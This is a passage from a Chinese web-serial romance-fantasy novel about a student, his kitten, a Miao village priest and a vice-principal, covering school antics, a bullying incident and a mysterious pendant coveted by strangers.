桌肚里的嘻嘻大概是待腻了，轻轻蹭了蹭他的手背，软乎乎的绒毛隔着校服布料传来一阵痒意。许祭怕它闹出动静，连忙伸手摸了摸它的脑袋，指尖刚碰到那团软毛，教室门就“吱呀”一声被推开了。 全班的读书声瞬间低了半截。 副校长李沐阳背着手站在门口，镜片后的目光扫过教室，锐利得像鹰隼。他是出了名的严厉，最忌讳学生带宠物来学校，逮住一次就是全校通报批评，背地里被学生们叫做“铁面阎王”。 没人知道，这位看着一身精英范儿的副校长，其实也是苗寨出来的，论辈分，还得喊沈司南一声“小师叔”。 许祭的心猛地提到了嗓子眼，下意识地把帆布包往桌肚里又塞了塞。 偏偏就在这时，嘻嘻大概是被他的动作惊扰了，细声细气地“喵”了一声。 声音不大，却在安静的教室里格外清晰。 李沐阳的目光瞬间锁定了许祭的位置，眉头皱得能夹死一只蚊子：“许祭，你桌肚里是什么东西？” 全班同学的目光齐刷刷地射过来，许祭的脸唰地一下红了，手心沁出一层冷汗。他慢吞吞地站起来，支支吾吾半天说不出话。 赵铁锤在旁边急得直使眼色，苏招更是捂住了嘴，生怕笑出声来。 “拿出来。”李沐阳的声音不带一丝温度，迈步朝着他走了过来。 许祭没办法，只能硬着头皮，小心翼翼地把帆布包从桌肚里拎了出来，拉开拉链。 一只巴掌大的橘猫探出头来，绒毛雪白雪白的，只有耳朵尖和尾巴尖带着橘色，圆溜溜的眼睛好奇地打量着李沐阳，又轻轻蹭了蹭许祭的手指，发出软糯的呼噜声。 教室里瞬间响起一阵压抑的抽气声，连李沐阳都愣了一下，显然没料到会是这么小的一只猫。 更让他愣的是，这猫脖子上挂着的小铃铛，分明是苗寨祭司一脉才有的制式——不用想，肯定是沈司南那小子的手笔。 “这……”许祭紧张得手心冒汗，小声解释，“它叫嘻嘻，很乖的，不会捣乱……” 李沐阳盯着那只橘猫看了半晌，眉头渐渐舒展。他蹲下身，犹豫了一下，伸出手指轻轻碰了碰嘻嘻的脑袋。小家伙不怕生，反而凑上去舔了舔他的指尖。 周围的同学都看傻了——铁面阎王居然会对一只猫笑？太阳打西边出来了？ 李沐阳清了清嗓子，站起身，板着脸看向许祭，声音却比刚才柔和了不止八度：“学校规定不能带宠物，你不知道吗？” “知道……”许祭低下头，心里做好了挨骂的准备。 “下不为例。” 许祭猛地抬起头，以为自己听错了。 李沐阳瞥了他一眼，又看了看帆布包里的嘻嘻，压低声音，用只有两人能听见的苗语飞快补了一句：“下次带嘻嘻来，记得给我也带包苗寨的酸枣糕，嫂嫂。” 嫂嫂两个字，咬得又轻又脆。 许祭的脸“腾”地一下红透了，耳根子都在发烫。他瞪了李沐阳一眼，又羞又窘，偏偏还不能发作。 李沐阳强忍着笑，背着手，板着脸走出了教室，只是转身的时候，嘴角的笑意藏都藏不住。 教室里瞬间炸开了锅，赵铁锤凑过来，一脸佩服：“可以啊许祭！连铁面阎王都被你家猫征服了！你小子有面子！” 苏招也挤过来，眼睛亮晶晶地看着嘻嘻：“它好可爱啊！能不能让我摸一下？” 许祭松了口气，低头看着怀里的嘻嘻，忍不住笑了。他转头看向窗外，沈司南不知道什么时候站在了走廊上，正朝着他挥了挥手，眼底的笑意温柔得像雨后的阳光。 嘻嘻像是察觉到了什么，朝着窗外“喵”了一声，尾巴尖摇得欢快。 放学铃声刚响，许祭就抱着装着嘻嘻的帆布包，一溜烟冲出了教室，差点和走廊上的沈司南撞个满怀。 沈司南伸手稳稳接住他，鼻尖蹭到他发顶的碎发，笑着问：“跑这么快，怕李沐阳追上来要酸枣糕？” 许祭的脸又红了，把帆布包往他怀里一塞：“都怪你！谁让你把苗寨的铃铛挂在嘻嘻脖子上的！” 帆布包里的嘻嘻“喵”了一声，像是在附和。 沈司南低头蹭了蹭橘猫软乎乎的脑袋，眼底的笑意藏不住：“这不是怕它走丢吗？再说，李沐阳那小子，从小就爱占小便宜。” 两人正说着，身后就传来了脚步声。李沐阳已经换下了西装，穿了件休闲外套，双手插兜走过来，脸上没了半点副校长的架子，挑眉道：“说我坏话呢？酸枣糕呢？” 许祭没好气地瞪他一眼：“还没买呢！” “那正好，”李沐阳指了指校门口的方向，“我知道有家新开的零食店，里面有苗寨特产的酸枣糕，比我们寨子里自己做的还甜。” 三人一猫，就这么浩浩荡荡地朝着零食店走去。沈司南抱着装着嘻嘻的帆布包走在中间，许祭和李沐阳一左一右，活像护送什么珍宝。 路过小吃摊的时候，嘻嘻闻到了烤肠的香味，在包里不安分地扭了扭，发出细细的叫声。许祭怕它闹，只好停下来买了根烤肠，撕成小块喂给它。 李沐阳在旁边看得直撇嘴：“待遇比我还好。想当年我在苗寨，想吃根烤肠都得攒三天的零花钱。” 沈司南瞥他一眼：“谁让你那时候总偷寨里的草药去卖。” 李沐阳的脸一红，梗着脖子道：“那不是年少不懂事嘛！” 到了零食店，许祭直奔货架，果然找到了苗寨特产的酸枣糕，包装上还印着苗绣的花纹。他刚拿起一包，就被李沐阳抢了过去，又往购物篮里塞了好几包：“多拿点，不够吃。” 许祭瞪他：“你是猪吗？” “我这是帮你讨好长辈，”李沐阳一本正经，“我可是你师兄，以后在学校，罩着你。” 沈司南走过来，把购物篮里的酸枣糕拿出来一半，淡淡道：“够了，吃多了齁得慌。” 李沐阳哀嚎一声：“小师叔，你偏心！” 结账的时候，嘻嘻从帆布包里探出头，好奇地盯着收银台的招财猫，爪子伸出来扒拉了一下，差点把招财猫掀翻。许祭连忙按住它的爪子，脸都快红透了，小声道歉：“对不起对不起，它不是故意的。” 收银员小姐姐看着软乎乎的橘猫，笑得眼睛都弯了：“没关系没关系，它好可爱呀。” 出了零食店，李沐阳迫不及待地拆开一包酸枣糕，塞了一块进嘴里，眯着眼睛叹道：“还是这个味儿！” 许祭也拿了一块，酸中带甜的味道在嘴里化开，他忽然想起小时候在苗寨，沈司南偷偷给他塞酸枣糕的样子，嘴角忍不住弯了弯。 沈司南看着他，伸手揉了揉他的头发，指尖带着酸枣糕的甜味。 夕阳把三人一猫的影子拉得长长的，李沐阳在前面边走边吃，嘴里还哼着苗寨的小调。许祭和沈司南走在后面，嘻嘻趴在沈司南的臂弯里，舔着爪子，尾巴尖摇得欢快。 晚风带着街边小吃的香味，吹起少年人的衣角，日子平淡又热闹，满是烟火气。 44. 玉溪 出了零食店，李沐阳叼着酸枣糕，几步追上前面并肩走的两人，啧了一声，伸手搭住沈司南的肩膀，压低声音吐槽，语气里满是怨念：“祭祀啊，你是不知道，刚才在教室里我憋得有多难受！嫂嫂我是说都不敢说，生怕被那帮小兔崽子听见，我的威严呢？我铁面阎王的人设都快崩了！” 沈司南没搭理他，只是低头逗着臂弯里的嘻嘻，指尖挠了挠橘猫的下巴，惹得小家伙发出呼噜呼噜的声响。 许祭在旁边听得忍不住笑，故意揶揄：“谁让你自己非要喊的，现在知道丢人了？” “我这不是辈分在那儿摆着嘛！”李沐阳梗着脖子辩解，余光瞥见旁边路过的几个学生正偷偷往这边看，立刻挺直腰板，清了清嗓子，想摆出副校长的严肃架势，结果嘴里的酸枣糕渣差点掉出来。 他这一前一后的反差，逗得那几个学生忍不住捂嘴偷笑，脚步都慢了几分，凑在一起小声议论： “那不是李副校长吗？他怎么和许祭他们走一块儿了？” “手里还拿着酸枣糕呢！也太接地气了吧！” “刚才在教室他对许祭的猫那么温柔，哪里还有半点铁面阎王的样子啊！” “你们说，李副校长和许祭他们是不是认识很久了？我总觉得他们说话的样子好熟稔。” 议论声不大，却偏偏能飘进李沐阳的耳朵里。他的脸青一阵白一阵，狠狠瞪了那几个学生一眼，吓得他们立刻加快脚步跑开了，跑远了还能听见隐约的笑声。 “你看你看！”李沐阳痛心疾首地指着那些学生的背影，“都怪你们！我的威严！全没了！” 沈司南终于舍得抬眼，凉凉地扫了他一下：“再吵，下次寨里的酸枣糕，没你的份。” 李沐阳立刻闭了嘴，悻悻地撇撇嘴，又从包装袋里摸出一块酸枣糕塞进嘴里，只是嚼着的动作，怎么看怎么像在赌气。 许祭看得直乐，伸手从沈司南怀里接过嘻嘻，指尖蹭了蹭小猫软乎乎的耳朵，抬头时，正好对上沈司南看过来的目光，两人眼底的笑意撞在一起，像撞碎了一捧夕阳的光。 夕阳把三人的影子拉得老长，李沐阳嚼着酸枣糕，腮帮子鼓鼓的，刚才还在为威严尽失唉声叹气，这会儿忽然收了玩笑的神色，脚步慢了半拍，语气也沉了些，伸手扯了扯沈司南的衣袖：“唉，祭祀，那个……我母亲陈丽丽怎么样了啊？” 这话一出，旁边的许祭下意识地安静下来，抱着嘻嘻的手紧了紧。他知道陈丽丽，是苗寨里最会做酸枣糕的阿婆，去年冬天生了场病，一直没好利索，李沐阳在县城当副校长，难得回一趟寨里，每次都要托沈司南帮忙捎东西。 沈司南喂嘻嘻的动作顿了顿，转头看他，眉眼间的笑意淡了些，却多了几分温和：“前阵子寨里的药师给她换了方子，这阵子能下床晒晒太阳了，昨天我去看她，还念叨着说你上次带回去的点心太甜。” 李沐阳松了口气，肩膀垮下来，嘴角却忍不住弯了弯，伸手抹了把脸，语气里带着点自嘲：“就知道她嘴挑。我上次特意挑的低糖款，还说甜。” “她是想让你亲自回去做给她吃。”沈司南戳破他，眼底闪过一丝笑意，“你小时候最会哄她开心。” 李沐阳啧了一声，没反驳，只是把手里的酸枣糕包装袋攥紧了些，小声嘀咕：“等这周末放假，我就回寨里看看她。顺便……再带两包这个酸枣糕回去，她肯定爱吃。” 许祭看着他的样子，忍不住笑了，把怀里的嘻嘻往他面前递了递：“那你回去的时候，带上嘻嘻呗，阿婆肯定喜欢它。” 橘猫像是听懂了，伸出爪子轻轻拍了拍李沐阳的手背，软乎乎的叫声听得人心里发暖。 李沐阳看着那团毛茸茸的小东西，刚才那点惆怅散了大半，伸手挠了挠嘻嘻的下巴，哼了一声：“行吧，看在它这么可爱的份上。” 晚风里飘着街边烤红薯的香味，嘻嘻舒服地眯起眼睛，沈司南伸手牵住许祭的手腕，指尖的温度暖融融的。李沐阳在前面边走边哼着苗寨的调子，嘴里还念叨着回去要给陈丽丽带些什么，夕阳把四个人的影子叠在一起，热闹又温柔。 李沐阳正蹲在路边，小心翼翼地挠着嘻嘻的下巴，嘴里还念叨着“小家伙毛真软，比寨里那只老黄猫乖多了”，完全没了半点副校长的架子。 不远处的树荫下，几个路过的同学正偷偷往这边瞄，捂着嘴憋笑憋得肩膀直抖，声音压得极低，却还是断断续续飘了过来。 “我的天！那真的是李副校长吗？他居然会蹲在地上逗猫？” “之前他抓我们迟到，脸黑得跟锅底一样，现在居然笑得一脸慈祥，反差也太大了吧！” “你们看他和许祭说话的样子，哪里像师生啊，简直像熟人唠嗑！” “还有那个穿苗布衣服的男生，和许祭关系好像很好，他俩刚才还牵着手呢！” “铁面阎王人设彻底崩了！以后再也不怕他查自习了哈哈哈哈！” 议论声飘进李沐阳耳朵里，他猛地抬起头，板起脸瞪过去，故作威严地咳嗽了一声：“放学不回家，在这里聊什么呢？” 那群同学吓得一哄而散，跑远了还能听见隐约的笑声。 李沐阳悻悻地收回目光，转头就看见沈司南和许祭憋着笑的样子，顿时恼羞成怒：“笑什么笑！都怪你们！害得我威严扫地！” 沈司南忍着笑，把嘻嘻抱起来，淡淡道：“是你自己要逗猫的。” 许祭更是笑得直不起腰，伸手拍了拍他的肩膀：“李副校长，您的威严啊，早被酸枣糕和小猫勾走啦！” 几人正说着话往校门口走，拐过教学楼后的僻静小路时，一阵压抑的哭声忽然钻了进来。 李沐阳的脚步先顿住了，眉头瞬间皱紧——这片区是监控死角，向来是些调皮学生扎堆的地方。他朝沈司南和许祭递了个眼神，三人放轻脚步，悄悄绕到拐角处。 只见三个高个子男生正围着一个缩在墙角的初一新生，其中一个染着黄毛的，伸手就去抢那新生手里的书包，嘴里还骂骂咧咧：“让你交保护费你听不懂是吧？穷酸样！” 新生吓得浑身发抖，眼泪掉得更凶了，死死攥着书包带不肯松手：“我……我没有钱……” “没钱？”黄毛嗤笑一声，抬手就要推搡过去。 “住手！” 李沐阳的声音冷不丁响起，带着副校长的威压，吓得三个男生浑身一僵。 他们转头一看，只见李沐阳黑着脸站在那里，身后还跟着许祭和沈司南。黄毛一开始还想硬撑，梗着脖子道：“副校长？我们……我们闹着玩呢！” “闹着玩？”李沐阳往前走了两步，镜片后的目光锐利得能剜人，“闹着玩需要抢书包？闹着玩需要把人堵在监控死角？” 许祭连忙跑过去扶起那个初一新生，帮他拍掉身上的灰尘，沈司南则站在一旁，抱着怀里的嘻嘻，眼神冷冽地扫过那三个男生——那目光带着苗寨祭司特有的沉静压迫感，看得三人心里直发毛。 黄毛彻底慌了，腿肚子都在打颤，结结巴巴地说不出话来。另外两个男生更是吓得脸色发白，恨不得找个地缝钻进去。 周围渐渐围过来几个闻声赶来的学生，看见这阵仗，都开始小声议论： “我就说这几个人不对劲，天天在这附近晃悠！” “李副校长也太帅了吧！一出来就镇住场子了！” “许祭和那个苗服男生也在，他们仨站一起，气场好强！” “这下有好戏看了，这几个霸凌的，肯定要被记大过！” 李沐阳听得一清二楚，脸色更沉了，对着那三个男生厉声喝道：“跟我去教务处！把你们家长也叫过来！” 三人耷拉着脑袋，不敢有半点反抗，乖乖地跟在李沐阳身后。 许祭看着那个初一新生泛红的眼眶，递给他一块刚买的酸枣糕，轻声安慰：“别怕，以后他们不敢欺负你了。” 新生接过酸枣糕，小声道了句谢谢，眼眶又红了。 沈司南走过来，伸手揉了揉许祭的头发，怀里的嘻嘻像是察觉到气氛缓和了，轻轻“喵”了一声，蹭了蹭他的手腕。 夕阳穿过树叶的缝隙，落在几人身上，刚才的压抑一扫而空，只剩下少年人挺身而出的坦荡与热意。 车子在苗寨口的老榕树下停稳时，天边正挂着一抹橘红的晚霞。许祭抱着睡得打呼的嘻嘻率先跳下车，沈司南拎着给陈丽丽带的点心跟在后面，李沐阳早就一溜烟往自家方向跑了，嘴里还喊着“娘，我回来啦”。 寨子里炊烟袅袅，阿婆们的说话声和孩子们的笑闹声混在一起，暖融融的烟火气扑面而来。许祭刚想拉着沈司南往祭司的吊脚楼走，眼角余光却瞥见榕树下的灌木丛里，有两道影子一闪而过。 “等等。”许祭按住沈司南的手腕，声音压低了些，“那边有人。” 沈司南顺着他的目光看过去，眉峰微蹙。两人放轻脚步走过去，扒开半人高的野草，就看见两个身影正蹲在树后，鬼鬼祟祟地往寨子里张望。 一个是宁荔枝，她穿着一身休闲装，头发乱糟糟的，脸上沾着泥点，完全没了在学校里的干净利落。而她身边站着的女人，穿着剪裁合体的黑色风衣，戴着墨镜，气质冷冽，正是前段时间托人来学校打听许祭消息的陌生女人——苏小小。 听见脚步声，两人猛地回头。宁荔枝看见许祭，下意识地往后缩了缩，眼神里满是茫然和慌乱：“你……你们怎么在这里？” 她的记忆被抹除，只记得自己是个转学生，对苗寨的印象一片空白，是苏小小找到她，说带她来“城郊散心”，她才稀里糊涂跟着来了。 苏小小却比她镇定得多，摘下墨镜，露出一双锐利的眼睛，上下打量着许祭和沈司南，嘴角勾起一抹冷笑：“原来榕城一中的许祭，藏在这么个地方。” 许祭皱起眉：“苏小小，你怎么会来这里？还带着宁荔枝？” “我来做什么，就不劳烦你操心了。”苏小小的目光落在沈司南身上，带着几分探究，“这位就是苗寨的祭司吧？久仰大名。” 沈司南没理会她的客套，语气淡漠：“苗寨不欢迎外人窥探，离开。” “窥探？”苏小小嗤笑一声，从口袋里掏出一张照片，照片上是一枚和许祭脖颈间一模一样的银色吊坠，“我只是来找一样东西。” 许祭的瞳孔猛地一缩——她怎么会有吊坠的照片？ 宁荔枝看着照片，脑袋隐隐作痛，好像有什么东西要从记忆深处钻出来，却又抓不住，只能抱着头蹲在地上，小声哼唧：“头好痛……” 苏小小看都没看她一眼，目光死死盯着许祭的脖子：“把吊坠交出来，我可以当做什么都没发生过。” 沈司南往前站了一步，将许祭护在身后，袖袋里的手轻轻一动，几枚泛着银光的蛊针已经蓄势待发。夕阳的光落在他身上，少年的眉眼间透着不容侵犯的冷意：“我说过，离开。” 风掠过榕树的枝叶，发出沙沙的声响。宁荔枝的低哼声越来越响，苏小小的脸色也越来越沉，手悄悄摸向了风衣口袋。 气氛瞬间剑拔弩张。 苏小小脸色一沉，手从风衣口袋里抽出来时，指尖已经多了一把泛着冷光的折叠刀。刀刃在夕阳下闪着寒芒，她手腕一转，刀尖就指向了沈司南：“别给脸不要脸，我要的只是吊坠，不想伤人。” 许祭怀里的嘻嘻像是察觉到危险，瞬间醒了过来，弓着背发出低沉的“呜呜”声，圆溜溜的眼睛死死盯着苏小小。许祭攥紧了怀里的猫，心脏怦怦直跳，却还是往前挪了半步，和沈司南并肩站着：“你到底是谁？为什么非要这个吊坠？” “不该问的别问。”苏小小冷笑一声，脚步往前逼近，“识相的就把吊坠扔过来，不然——” 她的话还没说完，沈司南忽然动了。 少年的指尖不知何时多了几枚细如牛毛的蛊针，手腕轻扬，蛊针就带着破空声射向苏小小。苏小小瞳孔骤缩，慌忙侧身躲避，却还是慢了半步，一枚蛊针擦着她的胳膊划过，留下一道细细的血痕。 血珠刚冒出来，苏小小就觉得胳膊上传来一阵钻心的麻意，力道瞬间卸了大半，手里的折叠刀“哐当”一声掉在地上。她惊怒交加地瞪着沈司南：“你……你对我做了什么？” “只是麻痹蛊，不伤性命。”沈司南的声音冷得像冰，袖袋里又滑出几枚蛊针，“苗寨的东西，不是你这种外人能碰的。” 许祭趁机弯腰捡起地上的折叠刀，远远扔到灌木丛里，转头看向蹲在地上捂着头的宁荔枝，语气急切：“宁荔枝，你醒醒！她是在利用你！” 宁荔枝的脑袋疼得像要炸开，那些被忘忧草抹去的记忆碎片疯狂翻涌——系统的机械音、吊坠的纹路、天蓝预案的字眼……她抱着头蜷缩在地上，眼泪混着脸上的泥点往下掉：“头好痛……我想起来了……想起来了……” 苏小小眼见着胳膊上的麻意越来越重，连站都快站不稳了，眼神里终于闪过一丝慌乱。她咬咬牙，转身就想往林子深处跑，却没注意脚下的野草，一个趔趄差点摔倒。 沈司南岂会给她逃跑的机会？他快步上前，指尖的蛊针抵在她的后颈，语气带着不容置疑的威压：“站住。” 苏小小僵在原地，浑身的汗毛都竖了起来，后颈的皮肤传来一阵刺痛，她知道自己再动一下，这枚蛊针就会扎进去。 风卷着榕树的叶子沙沙作响，嘻嘻从许祭怀里跳下来，跑到苏小小脚边，对着她龇牙咧嘴，像是在宣告胜利。 许祭走到宁荔枝身边，蹲下身轻轻拍着她的背，看着她痛苦的样子，心里五味杂陈。 夕阳渐渐沉下西山，暮色从天边漫过来，笼罩着这片藏着无数秘密的土地。苏小小被蛊针制住，动弹不得，宁荔枝的哭声渐渐低了下去，眼神里的茫然被清明取代，只是那份清明里，带着浓浓的后怕。 沈司南看着被制住的苏小小，眉头紧锁，他知道，事情不会就这么结束。能找到苗寨，还拿着吊坠照片的人，背后一定藏着更大的势力。 暮色四合，山风卷着榕树叶的沙沙声，裹着几分凉意漫过老榕树的枝桠。 苏小小被蛊针制住，僵在原地浑身发抖的瞬间，老榕树浓密的枝叶间，忽然传来一声低沉的笑。 那笑声带着几分癫狂，几分玩味，像毒蛇吐信般，缠得人头皮发麻。 许祭猛地抬头望去，只见树影婆娑间，一道高大的身影倚在粗壮的树干上，手里把玩着一枚和许祭脖颈间极为相似的吊坠碎片，月光透过枝叶的缝隙，在他脸上投下斑驳的阴影，看不清容貌，却能听见他语气里的狂热。 “许弟弟，”他拉长了语调，声音里的笑意几乎要溢出来，“找了你这么久，终于让我找到你了。” 许祭的心脏骤然缩紧，一股寒意从脚底直窜上天灵盖。 这个声音……陌生，却又带着一种说不出的熟悉感，像蛰伏在记忆深处的毒蛇，猝不及防地露出了獠牙。 沈司南的眼神瞬间变得凌厉，握着蛊针的手紧了紧，周身的气息冷得像冰。他抬眼望向那道身影，声音沉得能砸出水来：“你是谁？” 男子轻笑一声，没有回答。他只是缓缓抬起手，将那枚吊坠碎片举到月光下，碎片上的纹路在月色里泛着冷光，和许祭吊坠上的纹路，竟是一模一样的。 “别急，”他慢悠悠地道，“游戏，才刚刚开始。” 话音落下，他身形一晃，像融入夜色的鬼魅，瞬间消失在榕树的枝叶间，只留下一阵若有若无的冷香，和那句让人毛骨悚然的话，在晚风里盘旋。 许祭攥紧了拳头，指节泛白，脖颈间的吊坠像是感应到了什么，微微发烫。 他知道，平静的日子，彻底结束了。 暮色越来越浓，山风裹着寒意，吹得榕树叶簌簌作响。 许祭看着沈司南紧绷的侧脸，又低头摸了摸脖颈间发烫的吊坠，冰凉的纹路硌着指尖，带着一股熟悉的暖意。他知道，这枚吊坠是钥匙，是祸根，也是无数人觊觎的目标。从宁荔枝到苏小小，再到刚才那个癫狂的男人，麻烦从来没有断过。 沈司南还在警惕地扫视着四周的密林，袖袋里的蛊针蓄势待发，后颈的线条绷得紧紧的。他总觉得那个男人的气息还没走远，像一张无形的网，笼罩着这片土地。 “司南。” 许祭忽然开口，声音很轻，却在寂静的暮色里格外清晰。 沈司南转头看他，眼底的冷冽褪去几分，染上担忧：“怎么了？” 许祭没说话，只是抬手，指尖勾住吊坠的链子，轻轻一扯。银链滑过颈间的皮肤，带着微凉的触感。他把那枚泛着淡光的吊坠握在掌心，走到沈司南面前，将手递了过去。 “这个，给你。” 沈司南愣住了，瞳孔微微收缩：“你干什么？” “它是苗寨的东西，是封印的钥匙，”许祭的目光很认真，带着少年人独有的坦荡，“放在你这里，比放在我这里安全。而且，”他顿了顿，嘴角弯起一抹浅浅的笑，“我相信你。” 他知道，沈司南是苗寨的祭司，是最懂这枚吊坠的人，也是会拼尽全力守护它的人。 沈司南看着掌心那枚温热的吊坠，又看向许祭清澈的眼睛，心里像是被什么东西烫了一下。他沉默了几秒，终是伸手，小心翼翼地接过吊坠，指尖触碰到许祭的掌心，温度交融。 “我会保护好它，”沈司南的声音很轻，却带着不容置疑的坚定，“也会保护好你。” 许祭笑了，用力点了点头。 旁边的宁荔枝看着这一幕，眼神复杂。苏小小则是死死盯着沈司南手里的吊坠，眼里闪过不甘，却碍于后颈的蛊针，不敢动弹分毫。 嘻嘻不知何时跳了过来，蹭了蹭许祭的脚踝，发出软糯的叫声。 暮色彻底吞没了天边的最后一丝光亮，苗寨的灯火星星点点地亮起来，在夜色里勾勒出温暖的轮廓。沈司南握紧了掌心的吊坠，指尖的纹路和吊坠的纹路，仿佛嵌在了一起。 夜色沉沉，苗寨的吊脚楼里灯火摇曳。沈司南攥着那枚银色吊坠，脚步沉稳地走进寨老的屋子。火塘里的柴火烧得噼啪作响，映得寨老的皱纹里都透着暖意，他正摩挲着手里的旱烟杆，看见沈司南进来，抬了抬眼。 “司南啊，”寨老的声音苍老却洪亮，“这么晚过来，是为了榕树下的事吧。” 沈司南走到火塘边坐下，将吊坠放在两人之间的小桌上，吊坠在火光里泛着淡淡的光。他点了点头，语气郑重：“寨老，那个男人手里有吊坠的碎片，苏小小和宁荔枝的出现也绝非偶然。我想知道，天蓝预案的全部真相，还有这吊坠，到底藏着多少我们不知道的秘密。” 寨老沉默了片刻，将旱烟杆在桌角磕了磕，目光落在吊坠上，眼神悠远得像是穿过了漫长的时光。“天蓝预案，不只是加固封印的契约，”他缓缓开口，声音里带着岁月的厚重，“百年前，那位异世旅人留下了两枚吊坠，一枚是封印的钥匙，一枚是开启裂隙的引子。你手里的，是钥匙，而那碎片，多半是引子的残件。” 沈司南的瞳孔微微一缩：“两枚吊坠？” “嗯。”寨老点了点头，“旅人说，钥匙和引子相生相克，若被同一人得到，时空裂隙便会彻底洞开，届时，不仅是苗寨，整个世间都会陷入混乱。天蓝预案的真正核心，就是让钥匙和引子永世不得相见。” 他顿了顿，看向沈司南，眼神里满是嘱托：“当年定下预案时，祭司一脉便立下规矩，钥匙的守护者，必须是能以性命守护苗寨之人。司南，你是现任祭司，许祭是钥匙选中的主人，你们二人，肩上担着的，是百年的承诺。” 沈司南握紧了掌心的吊坠，指尖传来冰凉的触感，心里却沉甸甸的。他抬头看向寨老，目光坚定：“我明白了。我和许祭，绝不会让引子和钥匙相遇。” 火塘里的火星溅起，照亮了少年眼底的决心。寨老看着他，欣慰地笑了笑，又拿起旱烟杆，慢悠悠地抽了一口，烟雾袅袅，模糊了屋里的光影。 第二天清晨，薄雾还没散尽，许祭抱着嘻嘻去寨口的小溪边喂鱼。沈司南被寨老叫去议事，叮嘱他别走远，可许祭看着溪水潺潺，忍不住往林子深处多走了几步。 林子深处的光线忽明忽暗，鸟雀的叫声清脆，嘻嘻从他怀里跳下来，追着一只彩蝶跑远了。许祭笑着喊它，脚步刚抬，就撞上了一道高大的身影。 他猛地抬头，心脏瞬间漏跳一拍。 站在他面前的男人穿着一身黑色风衣，脸上带着半张银色面具，遮住了大半容貌，只露出一双带着笑意的眼睛。手里把玩着的，正是那枚泛着冷光的吊坠碎片。 是昨晚那个男人。 “许弟弟，”男人的声音带着几分玩味，和昨夜的癫狂不同，此刻竟透着几分温和，“我们又见面了。” 许祭下意识地后退一步，后背抵住了一棵老槐树，手心沁出冷汗。他攥紧了拳头，强装镇定：“你到底是谁？为什么要找我？” 男人轻笑一声，往前走了两步，脚步很轻，像踩在云絮上。他抬手，指腹轻轻擦过许祭的脸颊，指尖的温度冰凉，让许祭浑身一颤。 “我是谁？”他歪了歪头，面具下的眼睛弯成了月牙，“我是你的……亲人啊。” 亲人？ 许祭愣住了，心里翻起惊涛骇浪。他从小在苗寨长大，父母早逝，寨里的人都说是意外，难道…… “吊坠呢？”男人的目光落在他空荡荡的脖颈间，语气淡了些，“沈司南拿走了，对不对？” 许祭没说话，只是死死地盯着他。 男人也不在意，他蹲下身，看着跑到脚边好奇打量他的嘻嘻，指尖轻轻碰了碰橘猫的脑袋。嘻嘻非但没躲，反而蹭了蹭他的手指，发出软糯的呼噜声。 “这小家伙，倒是可爱。”男人笑了笑，站起身，目光重新落回许祭身上，“别害怕，许弟弟。我不会伤害你，我只是想拿回属于我的东西。” 他的话音刚落，远处就传来了沈司南的喊声：“许祭！” 男人的眼神闪了闪，抬手揉了揉许祭的头发，动作带着几分说不清道不明的宠溺。“下次见，许弟弟。” 话音落下，他身形一晃，像融入晨雾的影子，瞬间消失在密林深处。 沈司南的身影很快出现在林间，看见许祭安然无恙，他松了口气，快步跑过来，一把将人抱进怀里，声音带着后怕：“不是让你别走远吗？” 许祭埋在他的怀里，鼻尖萦绕着沈司南身上的草木清香，刚才的恐惧渐渐散去。他抬手抱住沈司南的腰，声音发颤：“他说……他是我的亲人。” 沈司南的身体一僵，抱着他的手更紧了。 晨雾渐渐散去，阳光透过树叶的缝隙洒下来，落在两人相拥的身影上，带着几分说不清道不明的沉重。 沈司南抱着许祭的手猛地收紧，眼底的后怕瞬间被震惊取代。他低头看着怀中人发白的侧脸，喉结动了动，声音艰涩：“他真的这么说？” 许祭点了点头，鼻尖泛酸，眼泪不受控制地涌上来：“我从小就听寨里人说，爸妈是进山采药时遇上泥石流没的……可他说，他是我的亲人。” 晨雾彻底散开，阳光穿过枝叶，在地上投下斑驳的光影。嘻嘻不知何时跳了过来，蹭着许祭的脚踝，发出软糯的叫声，像是在安慰。 就在这时，林子外传来一阵急促的脚步声，李沐阳气喘吁吁地跑进来，看见两人相拥的样子，愣了一下，随即急声道：“司南！许祭！寨老让你们赶紧回去！有……有人找来了！” 沈司南皱眉：“谁？” “是个女人！”李沐阳的声音带着难以置信，“她说她叫林晚，是……是许祭的妈妈！” 许祭的身体狠狠一颤，猛地抬起头，眼里的泪水瞬间决堤。 林晚。 这个名字，刻在他记事起的第一个木牌上，是寨老告诉他的，妈妈的名字。 他几乎是踉跄着挣脱沈司南的怀抱，朝着寨口的方向跑去。沈司南连忙跟上，指尖还残留着许祭身体的温度，心里却掀起了惊涛骇浪。 那个男人的话，那个突然出现的女人，还有百年前的天蓝预案，仿佛一张无形的网，瞬间将他们笼罩。 寨口的老榕树下，站着一个穿着素色长裙的女人。她身形窈窕，眉眼间和许祭有七分相似，正望着苗寨的方向，眼里满是泪光。 许祭跑到她面前，脚步顿住，喉咙像是被什么堵住，千言万语只化作一句哽咽的：“妈……” 女人猛地回头，看见许祭的瞬间，眼泪汹涌而出。她快步上前，颤抖着伸出手，轻轻抚上许祭的脸颊，声音破碎：“祭祭……我的祭祭……” 许祭再也忍不住，扑进她的怀里，放声大哭。 沈司南站在不远处，看着相拥而泣的母子，眉头紧锁。他的目光落在女人的手腕上，那里戴着一枚和许祭吊坠纹路相似的银镯，在阳光下泛着淡淡的光。 他忽然想起寨老说的话——百年前的旅人留下两枚吊坠，钥匙和引子相生相克。 那个男人，林晚，还有许祭，到底藏着怎样的秘密？ 而天蓝预案的真相，或许远比他们想象的，要复杂得多。 沈司南的母亲正站在吊脚楼的廊檐下择菜，听见寨口传来的哭声，忍不住抬头望了一眼。 当她看清榕树下相拥的母子，手里的青菜“啪嗒”一声掉在竹篮里，眼神里满是错愕。 她怔怔地看着那个素裙女人的侧脸，眉头越皱越紧，嘴里下意识地喃喃自语：“林晚？她……她不是早就出国留学了吗？” 这话声音不大，却正好被站在不远处的沈司南听了个正着。 沈司南的脚步顿住，转头看向母亲，眼底闪过一丝疑惑。 他从小就听母亲说过，许祭的妈妈林晚是外乡人，当年和许祭的父亲在苗寨相爱，后来因为家里的缘故，不得不离开，说是要去很远的地方留学，从此杳无音信。寨里人后来都说，她大概是不会回来了，直到许祭父母“遇袭”的消息传来，大家便渐渐不再提起。 可现在，林晚回来了。 而且，是在那个戴面具的男人出现之后。 沈司南的心跳沉了几分，目光重新落回榕树下。许祭还埋在林晚的怀里哭，肩膀微微耸动，那样子让人心疼。而林晚抬手轻抚着许祭的后背，眉眼间的温柔不似作伪，可她手腕上那枚纹路奇异的银镯，却在阳光下晃得人眼花。 这一切，真的只是巧合吗？ 